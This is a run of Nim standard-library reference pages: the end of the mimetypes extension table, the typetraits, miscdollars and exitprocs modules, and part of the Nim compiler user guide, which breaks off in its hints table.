("ufdl", "application/vnd.ufdl"), ("uil", "text/x-uil"), ("uis", "application/urc-uisocketdesc+xml"), ("uls", "text/iuls"), ("ult", "audio/x-mod"), ("ulx", "application/x-glulx"), ("umj", "application/vnd.umajin"), ("uni", "audio/x-mod"), ("unis", "text/uri-list"), ("unityweb", "application/vnd.unity"), ("unv", "application/i-deas"), ("uo", "application/vnd.uoml+xml"), ("uoml", "application/vnd.uoml+xml"), ("upa", "application/vnd.hbci"), ("uri", "text/uri-list"), ("uric", "text/vnd.si.uricatalogue"), ("urim", "application/vnd.uri-map"), ("urimap", "application/vnd.uri-map"), ("uris", "text/uri-list"), ("urls", "text/uri-list"), ("ustar", "application/x-ustar"), ("utz", "application/vnd.uiq.theme"), ("uu", "text/x-uuencode"), ("uue", "text/x-uuencode"), ("uva", "audio/vnd.dece.audio"), ("uvd", "application/vnd.dece.data"), ("uvf", "application/vnd.dece.data"), ("uvg", "image/vnd.dece.graphic"), ("uvh", "video/vnd.dece.hd"), ("uvi", "image/vnd.dece.graphic"), ("uvm", "video/vnd.dece.mobile"), ("uvp", "video/vnd.dece.pd"), ("uvs", "video/vnd.dece.sd"), ("uvt", "application/vnd.dece.ttml+xml"), ("uvu", "video/vnd.dece.mp4"), ("uvv", "video/vnd.dece.video"), ("uvva", "audio/vnd.dece.audio"), ("uvvd", "application/vnd.dece.data"), ("uvvf", "application/vnd.dece.data"), ("uvvg", "image/vnd.dece.graphic"), ("uvvh", "video/vnd.dece.hd"), ("uvvi", "image/vnd.dece.graphic"), ("uvvm", "video/vnd.dece.mobile"), ("uvvp", "video/vnd.dece.pd"), ("uvvs", "video/vnd.dece.sd"), ("uvvt", "application/vnd.dece.ttml+xml"), ("uvvu", "video/vnd.dece.mp4"), ("uvvv", "video/vnd.dece.video"), ("uvvx", "application/vnd.dece.unspecified"), ("uvvz", "application/vnd.dece.zip"), ("uvx", "application/vnd.dece.unspecified"), ("uvz", "application/vnd.dece.zip"), ("val", "chemical/x-ncbi-asn1-binary"), ("vbk", "audio/vnd.nortel.vbk"), ("vbox", "application/x-virtualbox-vbox"), ("vbox-extpack", "application/x-virtualbox-vbox-extpack"), ("vcard", "text/vcard"), ("vcd", "application/x-cdlink"), ("vcf", "text/x-vcard"), ("vcg", "application/vnd.groove-vcard"), ("vcs", "text/x-vcalendar"), ("vcx", "application/vnd.vcx"), ("vda", "application/vda"), ("vdi", "application/x-virtualbox-vdi"), ("vdo", "video/vdo"), ("vdx", "text/vdx"), ("vew", "application/vnd.lotus-approach"), ("vfr", "application/vnd.tml"), ("vhd", "application/x-virtualbox-vhd"), ("viaframe", "application/vnd.tml"), ("vim", "text/vim"), ("vis", "application/vnd.visionary"), ("viv", "video/vnd.vivo"), ("vivo", "video/vivo"), ("vmd", "application/vocaltec-media-desc"), ("vmdk", "application/x-virtualbox-vmdk"), ("vmf", "application/vocaltec-media-file"), ("vms", "chemical/x-vamas-iso14976"), ("vmt", "application/vnd.valve.source.material"), ("vob", "video/x-ms-vob"), ("voc", "audio/voc"), ("vor", "application/vnd.stardivision.writer"), ("vos", "video/vosaic"), ("vox", "audio/voxware"), ("vpm", "multipart/voice-message"), ("vqe", "audio/x-twinvq-plugin"), ("vqf", "audio/x-twinvq"), ("vql", "audio/x-twinvq-plugin"), ("vrm", "x-world/x-vrml"), ("vrml", "model/vrml"), ("vrt", "x-world/x-vrt"), ("vsc", "application/vnd.vidsoft.vidconference"), ("vsd", "application/vnd.visio"), ("vsf", "application/vnd.vsf"), ("vss", "application/vnd.visio"), ("vst", "application/vnd.visio"), ("vsw", "application/vnd.visio"), ("vtf", "image/vnd.valve.source.texture"), ("vtt", "text/vtt"), ("vtu", "model/vnd.vtu"), ("vue", "text/vue"), ("vwx", "application/vnd.vectorworks"), ("vxml", "application/voicexml+xml"), ("w3d", "application/x-director"), ("w60", "application/wordperfect6.0"), ("w61", "application/wordperfect6.1"), ("w6w", "application/msword"), ("wad", "application/x-doom"), ("wadl", "application/vnd.sun.wadl+xml"), ("war", "binary/zip"), ("wasm", "application/wasm"), ("wav", "audio/wave"), ("wax", "audio/x-ms-wax"), ("wb1", "application/x-qpro"), ("wbmp", "image/vnd.wap.wbmp"), ("wbs", "application/vnd.criticaltools.wbs+xml"), ("wbxml", "application/vnd.wap.wbxml"), ("wcm", "application/vnd.ms-works"), ("wdb", "application/vnd.ms-works"), ("wdp", "image/vnd.ms-photo"), ("web", "application/vnd.xara"), ("weba", "audio/webm"), ("webapp", "application/x-web-app-manifest+json"), ("webm", "video/webm"), ("webmanifest", "application/manifest+json"), ("webp", "image/webp"), ("wg", "application/vnd.pmi.widget"), ("wgt", "application/widget"), ("whl", "binary/wheel"), ("wif", "application/watcherinfo+xml"), ("win", "model/vnd.gdl"), ("wiz", "application/msword"), ("wk", "application/x-123"), ("wk1", "application/vnd.lotus-1-2-3"), ("wk3", "application/vnd.lotus-1-2-3"), ("wk4", "application/vnd.lotus-1-2-3"), ("wks", "application/vnd.ms-works"), ("wkt", "text/wkt"), ("wlnk", "application/link-format"), ("wm", "video/x-ms-wm"), ("wma", "audio/x-ms-wma"), ("wmc", "application/vnd.wmc"), ("wmd", "application/x-ms-wmd"), ("wmf", "image/wmf"), ("wml", "text/vnd.wap.wml"), ("wmlc", "application/vnd.wap.wmlc"), ("wmls", "text/vnd.wap.wmlscript"), ("wmlsc", "application/vnd.wap.wmlscriptc"), ("wmv", "video/x-ms-wmv"), ("wmx", "video/x-ms-wmx"), ("wmz", "application/x-ms-wmz"), ("woff", "font/woff"), ("woff2", "font/woff2"), ("word", "application/msword"), ("wp", "application/wordperfect"), ("wp5", "application/wordperfect"), ("wp6", "application/wordperfect"), ("wpd", "application/vnd.wordperfect"), ("wpl", "application/vnd.ms-wpl"), ("wps", "application/vnd.ms-works"), ("wq1", "application/x-lotus"), ("wqd", "application/vnd.wqd"), ("wri", "application/x-mswrite"), ("wrl", "model/vrml"), ("wrz", "model/vrml"), ("wsc", "message/vnd.wfa.wsc"), ("wsdl", "application/wsdl+xml"), ("wsgi", "text/wsgi"), ("wspolicy", "application/wspolicy+xml"), ("wsrc", "application/x-wais-source"), ("wtb", "application/vnd.webturbo"), ("wtk", "application/x-wintalk"), ("wv", "application/vnd.wv.csp+wbxml"), ("wvx", "video/x-ms-wvx"), ("wz", "application/x-wingz"), ("x-png", "image/png"), ("x32", "application/x-authorware-bin"), ("x3d", "application/vnd.hzn-3d-crossword"), ("x3db", "model/x3d+xml"), ("x3dbz", "model/x3d+binary"), ("x3dv", "model/x3d-vrml"), ("x3dvz", "model/x3d-vrml"), ("x3dz", "model/x3d+xml"), ("x_b", "model/vnd.parasolid.transmit.binary"), ("x_t", "model/vnd.parasolid.transmit.text"), ("xaf", "x-world/x-vrml"), ("xaml", "application/xaml+xml"), ("xap", "application/x-silverlight-app"), ("xar", "application/vnd.xara"), ("xav", "application/xcap-att+xml"), ("xbap", "application/x-ms-xbap"), ("xbd", "application/vnd.fujixerox.docuworks.binder"), ("xbm", "image/x-xbitmap"), ("xca", "application/xcap-caps+xml"), ("xcf", "application/x-xcf"), ("xcs", "application/calendar+xml"), ("xct", "application/vnd.fujixerox.docuworks.container"), ("xdd", "application/bacnet-xdd+zip"), ("xdf", "application/xcap-diff+xml"), ("xdm", "application/vnd.syncml.dm+xml"), ("xdp", "application/vnd.adobe.xdp+xml"), ("xdr", "video/x-amt-demorun"), ("xdssc", "application/dssc+xml"), ("xdw", "application/vnd.fujixerox.docuworks"), ("xel", "application/xcap-el+xml"), ("xenc", "application/xenc+xml"), ("xer", "application/patch-ops-error+xml"), ("xfd", "application/vnd.xfdl"), ("xfdf", "application/vnd.adobe.xfdf"), ("xfdl", "application/vnd.xfdl"), ("xgz", "xgl/drawing"), ("xht", "application/xhtml+xml"), ("xhtm", "application/xhtml+xml"), ("xhtml", "application/xhtml+xml"), ("xhvml", "application/xv+xml"), ("xif", "image/vnd.xiff"), ("xl", "application/excel"), ("xla", "application/vnd.ms-excel"), ("xlam", "application/vnd.ms-excel.addin.macroenabled.12"), ("xlb", "application/vndms-excel"), ("xlc", "application/vnd.ms-excel"), ("xlf", "application/x-xliff+xml"), ("xlim", "application/vnd.xmpie.xlim"), ("xlm", "application/vnd.ms-excel"), ("xls", "application/vnd.ms-excel"), ("xlsb", "application/vnd.ms-excel.sheet.binary.macroenabled.12"), ("xlsm", "application/vnd.ms-excel.sheet.macroenabled.12"), ("xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"), ("xlt", "application/vnd.ms-excel"), ("xltm", "application/vnd.ms-excel.template.macroenabled.12"), ("xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template"), ("xlw", "application/vnd.ms-excel"), ("xm", "audio/xm"), ("xml", "text/xml"), ("xmls", "application/dskpp+xml"), ("xmt_bin", "model/vnd.parasolid.transmit.binary"), ("xmt_txt", "model/vnd.parasolid.transmit.text"), ("xmz", "xgl/movie"), ("xns", "application/xcap-ns+xml"), ("xo", "application/vnd.olpc-sugar"), ("xof", "x-world/x-vrml"), ("xop", "application/xop+xml"), ("xpdl", "application/xml"), ("xpi", "application/x-xpinstall"), ("xpix", "application/x-vnd.ls-xpix"), ("xpl", "application/xproc+xml"), ("xpm", "image/x-xpixmap"), ("xpr", "application/vnd.is-xpr"), ("xps", "application/vnd.ms-xpsdocument"), ("xpw", "application/vnd.intercon.formnet"), ("xpx", "application/vnd.intercon.formnet"), ("xq", "text/xquery"), ("xql", "text/xquery"), ("xqm", "text/xquery"), ("xqu", "text/xquery"), ("xquery", "text/xquery"), ("xqy", "text/xquery"), ("xsd", "text/xml"), ("xsf", "application/prs.xsf+xml"), ("xsl", "application/xslt+xml"), ("xslt", "application/xslt+xml"), ("xsm", "application/vnd.syncml+xml"), ("xspf", "application/xspf+xml"), ("xsr", "video/x-amt-showrun"), ("xtel", "chemical/x-xtel"), ("xul", "application/vnd.mozilla.xul+xml"), ("xvm", "application/xv+xml"), ("xvml", "application/xv+xml"), ("xwd", "image/x-xwindowdump"), ("xyz", "chemical/x-xyz"), ("xyze", "image/vnd.radiance"), ("xz", "application/x-xz"), ("yaml", "text/yaml"), ("yang", "application/yang"), ("yin", "application/yin+xml"), ("yme", "application/vnd.yaoweme"), ("yml", "text/yaml"), ("ymp", "text/x-suse-ymp"), ("z1", "application/x-zmachine"), ("z2", "application/x-zmachine"), ("z3", "application/x-zmachine"), ("z4", "application/x-zmachine"), ("z5", "application/x-zmachine"), ("z6", "application/x-zmachine"), ("z7", "application/x-zmachine"), ("z8", "application/x-zmachine"), ("zaz", "application/vnd.zzazz.deck+xml"), ("zfc", "application/vnd.filmit.zfc"), ("zfo", "application/vnd.software602.filler.form-xml-zip"), ("zig", "text/zig"), ("zip", "application/zip"), ("zir", "application/vnd.zul"), ("zirz", "application/vnd.zul"), ("zmm", "application/vnd.handheld-entertainment+xml"), ("zmt", "chemical/x-mopac-input"), ("zone", "text/dns"), ("zoo", "application/octet-stream"), ("zsh", "text/x-script.zsh"), ("~", "application/x-trash")] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/mimetypes.nim#L18) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/mimetypes.nim#L18) Funcs ----- ``` func newMimetypes(): MimeDB {...}{.raises: [], tags: [].} ``` Creates a new Mimetypes database. The database will contain the most common mimetypes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/mimetypes.nim#L1885) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/mimetypes.nim#L1885) ``` func getMimetype(mimedb: MimeDB; ext: string; default = "text/plain"): string {...}{. raises: [], tags: [].} ``` Gets mimetype which corresponds to `ext`. Returns `default` if `ext` could not be found. `ext` can start with an optional dot which is ignored. `ext` is lowercased before querying `mimedb`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/mimetypes.nim#L1890) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/mimetypes.nim#L1890) ``` func getExt(mimedb: MimeDB; mimetype: string; default = "txt"): string {...}{. raises: [], tags: [].} ``` Gets extension which corresponds to `mimetype`. Returns `default` if `mimetype` could not be found. Extensions are returned without the leading dot. `mimetype` is lowercased before querying `mimedb`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/mimetypes.nim#L1901) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/mimetypes.nim#L1901) ``` func register(mimedb: var MimeDB; ext: string; mimetype: string) {...}{.raises: [], tags: [].} ``` Adds `mimetype` to the `mimedb`. `mimetype` and `ext` are lowercased before registering on `mimedb`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/mimetypes.nim#L1912) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/mimetypes.nim#L1912)
programming_docs
nim typetraits typetraits ========== This module defines compile-time reflection procs for working with types. Unstable API. Imports ------- <since>, <macros> Types ----- ``` StaticParam[value] = object ``` used to wrap a static value in `genericParams` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L96) Procs ----- ``` proc name(t: typedesc): string {...}{.magic: "TypeTrait".} ``` Returns the name of the given type. Alias for system.`$`(t) since Nim v0.20. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L18) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L18) ``` proc arity(t: typedesc): int {...}{.magic: "TypeTrait".} ``` Returns the arity of the given type. This is the number of "type" components or the number of generic parameters a given type `t` has. **Example:** ``` assert arity(seq[string]) == 1 assert arity(array[3, int]) == 2 assert arity((int, int, float, string)) == 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L23) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L23) ``` proc genericHead(t: typedesc): typedesc {...}{.magic: "TypeTrait".} ``` Accepts an instantiated generic type and returns its uninstantiated form. A compile-time error will be produced if the supplied type is not generic. See also: * [stripGenericParams](#stripGenericParams,typedesc) **Example:** ``` type Foo[T] = object FooInst = Foo[int] Foo2 = genericHead(FooInst) doAssert Foo2 is Foo and Foo is Foo2 doAssert genericHead(Foo[seq[string]]) is Foo doAssert not compiles(genericHead(int)) type Generic = concept f type _ = genericHead(typeof(f)) proc bar(a: Generic): typeof(a) = a doAssert bar(Foo[string].default) == Foo[string]() doAssert not compiles bar(string.default) when false: # these don't work yet doAssert genericHead(Foo[int])[float] is Foo[float] doAssert seq[int].genericHead is seq ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L31) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L31) ``` proc stripGenericParams(t: typedesc): typedesc {...}{.magic: "TypeTrait".} ``` This trait is similar to [genericHead](#genericHead,typedesc), but instead of producing error for non-generic types, it will just return them unmodified. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L58) ``` proc supportsCopyMem(t: typedesc): bool {...}{.magic: "TypeTrait".} ``` This trait returns true if the type `t` is safe to use for copyMem. Other languages name a type like these blob. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L63) ``` proc isNamedTuple(T: typedesc): bool {...}{.magic: "TypeTrait".} ``` Return true for named tuples, false for any other type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L69) ``` proc distinctBase(T: typedesc): typedesc {...}{.magic: "TypeTrait".} ``` Returns base type for distinct types, works only for distinct types. compile time error otherwise [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L72) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L72) ``` proc tupleLen(T: typedesc[tuple]): int {...}{.magic: "TypeTrait".} ``` Return number of elements of `T` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L84) Templates --------- ``` template distinctBase[T](a: T): untyped ``` overload for values **Example:** ``` type MyInt = distinct int doAssert 12.MyInt.distinctBase == 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L77) ``` template tupleLen(t: tuple): int ``` Return number of elements of `t` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L87) ``` template get(T: typedesc[tuple]; i: static int): untyped ``` Return `i`th element of `T` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L91) ``` template elementType(a: untyped): typedesc ``` return element type of `a`, which can be any iterable (over which you can iterate) **Example:** ``` iterator myiter(n: int): auto = for i in 0..<n: yield i doAssert elementType(@[1,2]) is int doAssert elementType("asdf") is char doAssert elementType(myiter(3)) is int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L100) ``` template genericParams(T: typedesc): untyped ``` return tuple of generic params for generic `T` **Example:** ``` type Foo[T1, T2] = object doAssert genericParams(Foo[float, string]) is (float, string) type Bar[N: static float, T] = object doAssert genericParams(Bar[1.0, string]) is (StaticParam[1.0], string) doAssert genericParams(Bar[1.0, string]).get(0).value == 1.0 doAssert genericParams(seq[Bar[2.0, string]]).get(0) is Bar[2.0, string] var s: seq[Bar[3.0, string]] doAssert genericParams(typeof(s)) is (Bar[3.0, string],) # NOTE: For the builtin array type, the index generic param will # **always** become a range type after it's bound to a variable. doAssert genericParams(array[10, int]) is (StaticParam[10], int) var a: array[10, int] doAssert genericParams(typeof(a)) is (range[0..9], int) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/typetraits.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/typetraits.nim#L168) Exports ------- [$](dollars#%24,int), [$](dollars#%24,cstring), [$](dollars#%24,array%5BIDX,T%5D), [$](dollars#%24,seq%5BT%5D), [$](dollars#%24,char), [$](dollars#%24,int64), [$](dollars#%24,Enum), [$](dollars#%24,openArray%5BT%5D), [$](dollars#%24,set%5BT%5D), [$](dollars#%24,T), [$](dollars#%24,bool), [$](dollars#%24,typedesc), [$](dollars#%24,HSlice%5BT,U%5D), [$](dollars#%24,string), [$](dollars#%24,uint64), [$](dollars#%24,float), [$](widestrs#%24,WideCString,int,int), [$](widestrs#%24,WideCString) nim miscdollars miscdollars =========== Templates --------- ``` template toLocation(result: var string; file: string | cstring; line: int; col: int) ``` avoids spurious allocations [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/private/miscdollars.nim#L1) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/private/miscdollars.nim#L1) nim exitprocs exitprocs ========= Imports ------- <locks> Procs ----- ``` proc addExitProc(cl: proc () {...}{.closure.}) {...}{.raises: [Exception], tags: [RootEffect].} ``` Adds/registers a quit procedure. Each call to `addExitProc` registers another quit procedure. They are executed on a last-in, first-out basis. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/exitprocs.nim#L51) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/exitprocs.nim#L51) ``` proc addExitProc(cl: proc () {...}{.noconv.}) {...}{.raises: [Exception], tags: [RootEffect].} ``` overload for `noconv` procs. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/exitprocs.nim#L61) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/exitprocs.nim#L61) ``` proc getProgramResult(): int {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/exitprocs.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/exitprocs.nim#L68) ``` proc setProgramResult(a: int) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/exitprocs.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/exitprocs.nim#L78) nim Nim Compiler User Guide Nim Compiler User Guide ======================= > "Look at you, hacker. A pathetic creature of meat and bone, panting and sweating as you run through my corridors. How can you challenge a perfect, immortal machine?" > > Introduction ------------ This document describes the usage of the *Nim compiler* on the different supported platforms. It is not a definition of the Nim programming language (which is covered in the <manual>). Nim is free software; it is licensed under the [MIT License](http://www.opensource.org/licenses/mit-license.php). Compiler Usage -------------- ### Command-line switches Basic command-line switches are: Usage: ``` nim command [options] [projectfile] [arguments] ``` Command: | | | | --- | --- | | compile, c | compile project with default code generator (C) | | r | compile to $nimcache/projname, run with [arguments] using backend specified by `--backend` (default: c) | | doc | generate the documentation for inputfile for backend specified by `--backend` (default: c) | Arguments: arguments are passed to the program being run (if --run option is selected) Options: | | | | --- | --- | | -p, --path:PATH | add path to search paths | | -d, --define:SYMBOL(:VAL) | define a conditional symbol (Optionally: Define the value for that symbol, see: "compile time define pragmas") | | -u, --undef:SYMBOL | undefine a conditional symbol | | -f, --forceBuild:on|off | force rebuilding of all modules | | --stackTrace:on|off | turn stack tracing on|off | | --lineTrace:on|off | turn line tracing on|off | | --threads:on|off | turn support for multi-threading on|off | | -x, --checks:on|off | turn all runtime checks on|off | | -a, --assertions:on|off | turn assertions on|off | | --opt:none|speed|size | optimize not at all or for speed|size Note: use -d:release for a release build! | | --debugger:native | Use native debugger (gdb) | | --app:console|gui|lib|staticlib | generate a console app|GUI app|DLL|static library | | -r, --run | run the compiled program with given arguments | | --fullhelp | show all command line switches | | -h, --help | show this help | | -v, --version | show detailed version information | Note, single letter options that take an argument require a colon. E.g. -p:PATH. --- Advanced command-line switches are: Advanced commands: | | | | --- | --- | | compileToC, cc | compile project with C code generator | | compileToCpp, cpp | compile project to C++ code | | compileToOC, objc | compile project to Objective C code | | js | compile project to Javascript | | e | run a Nimscript file | | rst2html | convert a reStructuredText file to HTML use `--docCmd:skip` to skip compiling snippets | | rst2tex | convert a reStructuredText file to TeX | | jsondoc | extract the documentation to a json file | | ctags | create a tags file | | buildIndex | build an index for the whole documentation | | genDepend | generate a DOT file containing the module dependency graph | | dump | dump all defined conditionals and search paths see also: --dump.format:json (useful with: `| jq`) | | check | checks the project for syntax and semantic | Runtime checks (see -x): | | | | --- | --- | | --objChecks:on|off | turn obj conversion checks on|off | | --fieldChecks:on|off | turn case variant field checks on|off | | --rangeChecks:on|off | turn range checks on|off | | --boundChecks:on|off | turn bound checks on|off | | --overflowChecks:on|off | turn int over-/underflow checks on|off | | --floatChecks:on|off | turn all floating point (NaN/Inf) checks on|off | | --nanChecks:on|off | turn NaN checks on|off | | --infChecks:on|off | turn Inf checks on|off | | --refChecks:on|off | turn ref checks on|off (only for --newruntime) | Advanced options: | | | | --- | --- | | -o:FILE, --out:FILE | set the output filename | | --outdir:DIR | set the path where the output file will be written | | --usenimcache | will use `outdir=$$nimcache`, whichever it resolves to after all options have been processed | | --stdout:on|off | output to stdout | | --colors:on|off | turn compiler messages coloring on|off | | --listFullPaths:on|off | list full paths in messages | | -w:on|off|list, --warnings:on|off|list | turn all warnings on|off or list all available | | --warning[X]:on|off | turn specific warning X on|off | | --hints:on|off|list | turn all hints on|off or list all available | | --hint[X]:on|off | turn specific hint X on|off | | --warningAsError[X]:on|off | turn specific warning X into an error on|off | | --styleCheck:off|hint|error | produce hints or errors for Nim identifiers that do not adhere to Nim's official style guide [https://nim-lang.org/docs/nep1.html](nep1) | | --styleCheck:usages | only enforce consistent spellings of identifiers, do not enforce the style on declarations | | --showAllMismatches:on|off | show all mismatching candidates in overloading resolution | | --lib:PATH | set the system library path | | --import:PATH | add an automatically imported module | | --include:PATH | add an automatically included module | | --nimcache:PATH | set the path used for generated files see also [https://nim-lang.org/docs/nimc.html#compiler-usage-generated-c-code-directory](nimc#compiler-usage-generated-c-code-directory) | | -c, --compileOnly:on|off | compile Nim files only; do not assemble or link | | --noLinking:on|off | compile Nim and generated files but do not link | | --noMain:on|off | do not generate a main procedure | | --genScript:on|off | generate a compile script (in the 'nimcache' subdirectory named 'compile\_$$project$$scriptext'), implies --compileOnly | | --genDeps:on|off | generate a '.deps' file containing the dependencies | | --os:SYMBOL | set the target operating system (cross-compilation) | | --cpu:SYMBOL | set the target processor (cross-compilation) | | --debuginfo:on|off | enables debug information | | -t, --passC:OPTION | pass an option to the C compiler | | -l, --passL:OPTION | pass an option to the linker | | --cc:SYMBOL | specify the C compiler | | --cincludes:DIR | modify the C compiler header search path | | --clibdir:DIR | modify the linker library search path | | --clib:LIBNAME | link an additional C library (you should omit platform-specific extensions) | | --project | document the whole project (doc) | | --docRoot:path | `nim doc --docRoot:/foo --project --outdir:docs /foo/sub/main.nim` generates: docs/sub/main.html if path == @pkg, will use nimble file enclosing dir if path == @path, will use first matching dir in `--path` if path == @default (the default and most useful), will use best match among @pkg,@path. if these are nonexistent, will use project path | | -b, --backend:c|cpp|js|objc sets backend to use with commands like `nim doc` or `nim r` | | | --docCmd:cmd | if `cmd == skip`, skips runnableExamples else, runs runnableExamples with given options, e.g.: `--docCmd:"-d:foo --threads:on"` | | --docSeeSrcUrl:url | activate 'see source' for doc command (see doc.item.seesrc in config/nimdoc.cfg) | | --docInternal | also generate documentation for non-exported symbols | | --lineDir:on|off | generation of #line directive on|off | | --embedsrc:on|off | embeds the original source code as comments in the generated output | | --threadanalysis:on|off | turn thread analysis on|off | | --tlsEmulation:on|off | turn thread local storage emulation on|off | | --taintMode:on|off | turn taint mode on|off | | --implicitStatic:on|off | turn implicit compile time evaluation on|off | | --trmacros:on|off | turn term rewriting macros on|off | | --multimethods:on|off | turn multi-methods on|off | | --memTracker:on|off | turn memory tracker on|off | | --hotCodeReloading:on|off | turn support for hot code reloading on|off | | --excessiveStackTrace:on|off | stack traces use full file paths | | --stackTraceMsgs:on|off | enable user defined stack frame msgs via `setFrameMsg` | | --nilseqs:on|off | allow 'nil' for strings/seqs for backwards compatibility | | --seqsv2:on|off | use the new string/seq implementation based on destructors | | --skipCfg:on|off | do not read the nim installation's configuration file | | --skipUserCfg:on|off | do not read the user's configuration file | | --skipParentCfg:on|off | do not read the parent dirs' configuration files | | --skipProjCfg:on|off | do not read the project's configuration file | | --gc:refc|arc|orc|markAndSweep|boehm|go|none|regions | select the GC to use; default is 'refc' | | --exceptions:setjmp|cpp|goto | select the exception handling implementation | | --index:on|off | turn index file generation on|off | | --putenv:key=value | set an environment variable | | --NimblePath:PATH | add a path for Nimble support | | --noNimblePath | deactivate the Nimble path | | --clearNimblePath | empty the list of Nimble package search paths | | --cppCompileToNamespace:namespace | use the provided namespace for the generated C++ code, if no namespace is provided "Nim" will be used | | --expandMacro:MACRO | dump every generated AST from MACRO | | --expandArc:PROCNAME | show how PROCNAME looks like after diverse optimizations before the final backend phase (mostly ARC/ORC specific) | | --excludePath:PATH | exclude a path from the list of search paths | | --dynlibOverride:SYMBOL | marks SYMBOL so that dynlib:SYMBOL has no effect and can be statically linked instead; symbol matching is fuzzy so that --dynlibOverride:lua matches dynlib: "liblua.so.3" | | --dynlibOverrideAll | disables the effects of the dynlib pragma | | --listCmd | list the compilation commands; can be combined with `--hint:exec:on` and `--hint:link:on` | | --asm | produce assembler code | | --parallelBuild:0|1|... | perform a parallel build value = number of processors (0 for auto-detect) | | --incremental:on|off | only recompile the changed modules (experimental!) | | --verbosity:0|1|2|3 | set Nim's verbosity level (1 is default) | | --errorMax:N | stop compilation after N errors; 0 means unlimited | | --maxLoopIterationsVM:N | set max iterations for all VM loops | | --experimental:$1 | enable experimental language feature | | --legacy:$2 | enable obsolete/legacy language feature | | --useVersion:1.0 | emulate Nim version X of the Nim compiler | | --profiler:on|off | enable profiling; requires `import nimprof`, and works better with `--stackTrace:on` see also <https://nim-lang.github.io/Nim/estp.html> | | --benchmarkVM:on|off | enable benchmarking of VM code with cpuTime() | | --profileVM:on|off | enable compile time VM profiler | | --sinkInference:on|off | en-/disable sink parameter inference (default: on) | | --panics:on|off | turn panics into process terminations (default: off) | | --deepcopy:on|off | enable 'system.deepCopy' for `--gc:arc|orc` | ### List of warnings Each warning can be activated individually with `--warning[NAME]:on|off` or in a `push` pragma. | Name | Description | | --- | --- | | CannotOpenFile | Some file not essential for the compiler's working could not be opened. | | OctalEscape | The code contains an unsupported octal sequence. | | Deprecated | The code uses a deprecated symbol. | | ConfigDeprecated | The project makes use of a deprecated config file. | | SmallLshouldNotBeUsed | The letter 'l' should not be used as an identifier. | | EachIdentIsTuple | The code contains a confusing `var` declaration. | | User | Some user-defined warning. | ### List of hints Each hint can be activated individually with `--hint[NAME]:on|off` or in a `push` pragma. | Name | Description | | --- | --- | | CC | Shows when the C compiler is called. | | CodeBegin | | | CodeEnd | | | CondTrue | | | Conf | A config file was loaded. | | ConvToBaseNotNeeded | | | ConvFromXtoItselfNotNeeded | | | Dependency | | | Exec | Program is executed. | | ExprAlwaysX | | | ExtendedContext | | | GCStats | Dumps statistics about the Garbage Collector. | | GlobalVar | Shows global variables declarations. | | LineTooLong | Line exceeds the maximum length. | | Link | Linking phase. | | Name | | | Path | Search paths modifications. | | Pattern | | | Performance | | | Processing | Artifact being compiled. 